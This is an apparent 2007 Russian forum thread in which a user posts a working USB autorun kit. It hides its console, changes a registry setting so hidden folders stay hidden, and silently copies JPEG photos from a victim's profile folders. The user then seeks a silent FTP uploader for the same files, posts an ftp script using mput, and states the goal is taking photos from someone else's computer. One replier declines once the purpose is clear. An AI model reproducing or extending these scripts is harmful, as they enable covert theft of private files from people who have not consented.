PDA

View Full Version : Cоедение c фтп через bat/cmd фаил


maxsl
06-08-2007, 13:16
Надо откопировать из опредёллный папок фотки через коммандный фаил bat(другое писать сооовсем не умею:)) на FTP. Возможнли это вообще?

Cмог сделать такую весь что бы зафигачивалось на флешку:

autorun.inf - запус foto_copy.exe

fotocopy.exe - SFX архив

Setup=REGEDIT /S file.reg - отключение показа скрытх папок :)
Setup=hidcon.exe vir.bat
TempMode
Silent=1
Overwrite=1


vir.bat:

for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do if exist %%i:\jpg2\foto_copy.exe @set FLASH=%%i:

cd %Userprofile%\My Documents\
xcopy *.jpg %FLASH%\jpg2\docs\*.jpg /y /s

cd %Userprofile%\Documents\My Received Files\
xcopy *.jpg %FLASH%\jpg2\docs\*.jpg /y /s

cd %Userprofile%\Desktop\juliart\
xcopy *.jpg %FLASH%\jpg2\desk\*.jpg /y /s

exit

adam
06-08-2007, 13:27
Надо откопировать из опредёллный папок фотки через коммандный фаил bat(другое писать сооовсем не умею:)) на FTP. Возможнли это вообще?



Может и можно, но как-то сомнительно. Я бы использовал например python. Строчек в 10 кода уложиться наверное.

maxsl
06-08-2007, 13:34
Будет ли вылезать от него окошки? Вообще вроде возможно (run / cmd / ftp - вылазить какой то фтп клиент)

adam
06-08-2007, 13:43
Будет ли вылезать от него окошки? Вообще вроде возможно (run / cmd / ftp - вылазить какой то фтп клиент)

В виндах вылезает окно с командной строкой.
В линухе может и не вылезать если не надо.
Но оно и к лучшему, потому как надо смотреть, если ошибки или нет.

maxsl
06-08-2007, 14:13
Не мог бы ты, адам, набросать тогда фтп-клиент на 10 строчек?

adam
06-08-2007, 14:30
Не мог бы ты, адам, набросать тогда фтп-клиент на 10 строчек?

А зачем его писать?
Все уже написано до нас:)))

http://www.example-code.com/python/pythonftp.asp
в частности
http://www.example-code.com/python/ftp_upload.asp

adam
06-08-2007, 14:32
да и вот
http://www.dostips.com/DtCodeBatchFiles.php

Это я
06-08-2007, 21:18
Надо откопировать из опредёллный папок фотки через коммандный фаил bat(другое писать сооовсем не умею:)) на FTP. Возможнли это вообще?

Cмог сделать такую весь что бы зафигачивалось на флешку:

autorun.inf - запус foto_copy.exe

fotocopy.exe - SFX архив

Setup=REGEDIT /S file.reg - отключение показа скрытх папок :)
Setup=hidcon.exe vir.bat
TempMode
Silent=1
Overwrite=1


vir.bat:

for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do if exist %%i:\jpg2\foto_copy.exe @set FLASH=%%i:

cd %Userprofile%\My Documents\
xcopy *.jpg %FLASH%\jpg2\docs\*.jpg /y /s

cd %Userprofile%\Documents\My Received Files\
xcopy *.jpg %FLASH%\jpg2\docs\*.jpg /y /s

cd %Userprofile%\Desktop\juliart\
xcopy *.jpg %FLASH%\jpg2\desk\*.jpg /y /s

exit

А может просто wget для Windows взять?

maxsl
06-08-2007, 22:15
Блин, то что с флешкой вариант нормальный не не катит для меня

нашёл программу File Uploader - Version 1.10 http://noeld.com
но эта зараза не копирует сабдиректории.

Повторю вопросс - Нужна программа для копирования на FTP файлов из определённых папок включая сабдиректории, и всё это не поодному файлу. Варинты - "тихое" копирование и без запросов паролей и тп

maxsl
06-08-2007, 22:21
Да кстати, при этом должна работать перемменая %UserProfile%

adam
06-08-2007, 23:03
Да кстати, при этом должна работать перемменая %UserProfile%

Я же уже кидал ссылку на скрипт, который файл закидывает на FTP
Осталось только дописать немножко.

maxsl
06-08-2007, 23:18
И как его с компливировать (блин, не знаю как пишется правильно)

adam
06-08-2007, 23:33
И как его с компливировать (блин, не знаю как пишется правильно)

никак не надо
надо поставить python виндовый и запустить

maxsl
06-08-2007, 23:34
Твой фтп аплоад будет работать как -

# Upload a file.
localFilename = "%userprofile%\desktop\*.jpg"
remoteFilename = "*.jpg"

Не знаеш ли??

к примеру xcopy %user....%.jpg не идёт, приходится выбыирать папку и тогда использовать комманду хкопи по текущей папке

adam
06-08-2007, 23:46
Твой фтп аплоад будет работать как -

# Upload a file.
localFilename = "%userprofile%\desktop\*.jpg"
remoteFilename = "*.jpg"

Не знаеш ли??

к примеру xcopy %user....%.jpg не идёт, приходится выбыирать папку и тогда использовать комманду хкопи по текущей папке

не будет
надо примерно так:

for file from files:
localFilename = "%userprofile%\desktop\"+file
remoteFilename = file
.........

надо документацию читать и писать самому
про переменные виндов ничего не знаю, но думаю их легко считать можно
погугли

maxsl
06-08-2007, 23:50
%userprofile% перемменая Disk:\Documents And Settings\Текущий пользователь... иммена она и нужна. А как тогда присабьачить то что мне надо только определённый тип файлов?

adam
07-08-2007, 00:00
%userprofile% перемменая Disk:\Documents And Settings\Текущий пользователь... иммена она и нужна. А как тогда присабьачить то что мне надо только определённый тип файлов?

Почитал немного в нете про переменную эту. Вроде должно работать все.
Файлы по расширению можно фильтровать легко.

maxsl
07-08-2007, 00:51
Блин, программист из меня совсем никакой..... Не мог бы ты переделать это фигню немного? вынеся 5 конфигов в отедльный фаил - путь исходника, тип, сервер, логин, пароль. Из за одной подребности наврено глупо начинать учить всё это... Хотя может и начну

adam
07-08-2007, 10:41
Блин, программист из меня совсем никакой..... Не мог бы ты переделать это фигню немного? вынеся 5 конфигов в отедльный фаил - путь исходника, тип, сервер, логин, пароль. Из за одной подребности наврено глупо начинать учить всё это... Хотя может и начну

Что конкретно надо? Если это нужно один раз, то смысла нет, проще руками сделать.

maxsl
07-08-2007, 12:56
На один раз - я имел ввиду одна программка. Ипользоватся будет довольно часто под разные расширения файлов. Из аналогичных решений - троян, но в отличии от этого он будет ловится антвирусами

adam
07-08-2007, 13:37
На один раз - я имел ввиду одна программка. Ипользоватся будет довольно часто под разные расширения файлов. Из аналогичных решений - троян, но в отличии от этого он будет ловится антвирусами

Ничего не понял. Зачем троян? Можно нормально задачу поставить?
Для передачи файлов существуют два режима бинарный и текстовый. Скрипт должен знать что в каком передавать.

maxsl
07-08-2007, 13:54
Картинки это какой режим?

maxsl
07-08-2007, 13:55
Нужно с чужого компа взять фотки, проблему с выводом сообщения фаирвола я решил

adam
07-08-2007, 14:29
Нужно с чужого компа взять фотки, проблему с выводом сообщения фаирвола я решил

гы:))))
увольте:)

maxsl
07-08-2007, 14:42
Гы? А что так? Или хотя бы объясни как получить результат в этом питоне, с дельфи более менее понятно было....

maxsl
07-08-2007, 14:43
И этож не троян - ты не влезаешь в комп, не тыришь пароли..... :))

Scobl
07-08-2007, 14:45
Ужас...! Поставь себе CYGWIN (www.cygwin.com) и не парься с CMD, BAT и прочими наворотами от МикиSoft.

Scobl
07-08-2007, 14:46
В CYGWIN глянь "ncftpget", "wget".

adam
07-08-2007, 14:47
Гы? А что так? Или хотя бы объясни как получить результат в этом питоне, с дельфи более менее понятно было....

На питоне такие вещи не делают:)
Делай в дельфи.

maxsl
07-08-2007, 14:52
Я дельфи последний раз запускал больше 3 лет назад, и дальше 2-ух степечитого диалога не ушёл

adam
07-08-2007, 15:01
Я дельфи последний раз запускал больше 3 лет назад, и дальше 2-ух степечитого диалога не ушёл

А зачем диалоги-то? Простого консольного приложения достаточно.

maxsl
07-08-2007, 15:01
а cygwin запускать без установки можно? То есть сохранить комманды + его испольнемый фаил?

maxsl
07-08-2007, 15:02
Дык, в том смысле что не умею я это делать

maxsl
07-08-2007, 15:29
Вот пример с коммандной строкой, всё классно только опят же проблемма с подкаталогами
bat:
ftp -s:script.txt

script.txt:

lcd \mylocalwebpages
open someftpserver.somedomain.org
myusername
mypassword
cd images
binary
mput *.jpg
mput *.png
bye

detektiv5055
07-08-2007, 17:33
В виндах вылезает окно с командной строкой.
В линухе может и не вылезать если не надо.
Но оно и к лучшему, потому как надо смотреть, если ошибки или нет.
Ну ,мужики,вы даёте!
В этом полный ЛОХ!
Но подскажите:
в моём Меркурий100 пропала искра на всех (4) цилиндрах.
Мне комутатор менят; или что ?